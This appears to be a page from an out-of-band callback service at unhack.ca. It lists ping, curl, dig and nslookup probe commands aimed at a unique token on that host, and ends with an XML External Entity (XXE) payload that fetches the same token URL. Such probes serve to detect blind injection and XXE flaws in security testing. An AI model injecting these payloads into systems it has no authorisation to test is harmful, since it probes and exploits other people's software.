$ ping -c1 -p 00c3f0b7976fba5d2f2e9174bf26b200 unhack.ca
 

$ curl http://unhack.ca/p/c3f0b7976fba5d2f2e9174bf26b2
 

$ dig c3f0b7976fba5d2f2e9174bf26b2 @unhack.ca
 

$ dig c3f0b7976fba5d2f2e9174bf26b2.ns.unhack.ca
 

C:\> nslookup c3f0b7976fba5d2f2e9174bf26b2 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c3f0b7976fba5d2f2e9174bf26b2">]>
    <foo>&xxe;</foo>